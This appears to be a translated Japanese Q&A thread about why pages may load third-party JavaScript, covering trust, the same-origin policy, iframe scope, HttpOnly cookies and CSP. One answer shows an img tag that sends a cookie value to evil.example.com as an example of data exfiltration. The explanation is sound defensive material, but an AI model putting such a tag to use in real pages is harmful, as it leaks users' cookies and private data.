y.comからx.comのjavascriptファイル(たとえば、google analyticsやjquery)にリンクしても、クロスドメインのセキュリティ問題が発生しないのはなぜですか?
例えば:
y.com/index.htmlには次のものがあります。
<script type="text/javascript" src="http://x.com/jsfile.js" />
これが問題ない場合とそうでない場合をどうやって知ることができますか?
y.comからx.comのjavascriptファイル(たとえば、google analyticsやjquery)にリンクしても、クロスドメインのセキュリティ問題が発生しないのはなぜですか?
例えば:
y.com/index.htmlには次のものがあります。
<script type="text/javascript" src="http://x.com/jsfile.js" />
これが問題ない場合とそうでない場合をどうやって知ることができますか?
これは主要なセキュリティホールになる可能性があるため、JavaScriptファイルをホストしているサイトを信頼する必要があります。
たとえば、そのコードは、機密データをサードパーティに中継できる、より多くのスクリプトタグとimgタグをサイトに挿入できます。
同一生成元ポリシーに関するDavidのコメントは、誤解を招く可能性があります。データをリモートサイトに中継する一般的な方法は、imgタグをリモートドメインに挿入することです。
<img src="http://evil.example.com/sendcookieshere.whatever?cookievalue=secret_info />
リモートホストのJavaScriptコードが、このようなimgタグを動的に挿入するように変更された場合、サイトにセキュリティホールが存在する可能性があります。JavaScript経由ではアクセスできないHTTPのみのCookieの使用など、これらの問題のいくつかには緩和策があります。
分析システムの例は素晴らしいものです。プロバイダーが自分のCookieなどの機密データを取得してリモートの場所に送信しないことを信頼する必要があります。また、プロバイダーのシステムが安全であり、ハッカーがサーバー上のJavaScriptファイルを変更できなかったことをプロバイダーに信頼する必要があります。分析システムは通常、これらの同じ手法を使用して機能しますが、うまくいけば、悪ではなく善のために使用します。ある意味では、開発者が優れた安全なコードを書いているかどうか、そして彼らが秘密のバックドアを導入しているかどうかを心配することと同じです。
なぜそれが許可されているのかというと、それは歴史的なことです。Webは、セキュリティを念頭に置いて設計されたものではありません。CSRF攻撃、リプレイ攻撃、XSS攻撃のいずれであっても、これらはすべてWebの設計における根本的な欠陥であり、現在Web開発者の関心事となっています。
データの出所は関係ありませんが、重要なのはデータが使用される範囲です。
別のドメインからスクリプトを取得しているだけですが、スクリプトは引き続き独自のページのスコープで実行されるため、スクリプトが読み込まれた場所からドメイン内のリソースにアクセスすることはできません。
異なるドメインのページを含むiframeのように、ドメイン間の問題がある状況では、2つの異なるスコープがあります。iframe内のページは、ロード元のドメインのスコープ内で実行されるため、そのドメイン内のリソースにアクセスできますが、iframeをホストしているページ内のページは別のスコープであるため、アクセスできません。
(注:このコンテキストで「スコープ」という用語が一般的に使用されているかどうかはわかりませんが、それをより適切に説明する用語がある可能性があります。)
なぜそれができるのかわかりません。ただし、明示的に許可したドメイン以外からJavaScriptをロードしないことを宣言するWebアプリケーションによって送信されるHTTPヘッダーであるコンテンツセキュリティポリシー(CSP)を使用して、これが発生するのを防ぐことができます。